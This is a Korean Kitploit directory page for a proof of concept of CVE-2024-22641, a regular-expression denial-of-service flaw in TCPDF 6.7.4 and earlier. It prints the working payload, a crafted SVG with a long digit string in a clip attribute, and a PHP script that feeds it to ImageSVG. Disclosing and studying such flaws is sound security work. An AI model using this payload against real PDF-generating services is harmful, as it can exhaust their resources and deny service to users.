Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-22641 — CVE-2024-22641에 대한 개념 증명: TCPDF <=6.7.4에서 조작된 SVG 파일에 의해 트리거되는 ReDoS 취약점으로, 정규 표현식 역추적 한도 소진을 시연합니다. | Kitploit
도구/GitHubGitHub/zunak/cve-2024-22641
Vulnerability AnalysisExploitationWeb SecurityFuzzingPapers & ResearchLearning & Education
GitHubzunak/cve-2024-22641

CVE-2024-22641

CVE-2024-22641에 대한 개념 증명: TCPDF <=6.7.4에서 조작된 SVG 파일에 의해 트리거되는 ReDoS 취약점으로, 정규 표현식 역추적 한도 소진을 시연합니다.

저장소 보기
12년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-22641

취약점 유형

정규 표현식 서비스 거부 (ReDoS)

영향을 받는 제품 및 버전

TCPDF <= 6.7.4

공격 벡터

TCPDF가 조작된 페이로드를 포함한 SVG 파일을 파싱합니다.

설명

TCPDF 버전 6.7.4 이하는 신뢰할 수 없는 SVG 파일을 파싱할 때 ReDoS(정규 표현식 서비스 거부)에 취약합니다.

PoC

root@kitploit:~
<!--poc.svg-->
<svg
  version="1.1"
  xmlns="http://www.w3.org/2000/svg"
  xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle clip="rect(0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!)"/>
</svg>
root@kitploit:~
<?php
require_once('../tcpdf.php');

// create new PDF document
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);


// add a page
$pdf->AddPage();

$pdf->ImageSVG($file='poc.svg');
?>

참고: 취약한 코드 라인 이후에 **preg_last_error()**로 검사하면 정규식이 PREG_BACKTRACK_LIMIT_ERROR로 종료됩니다.

도구 다운로드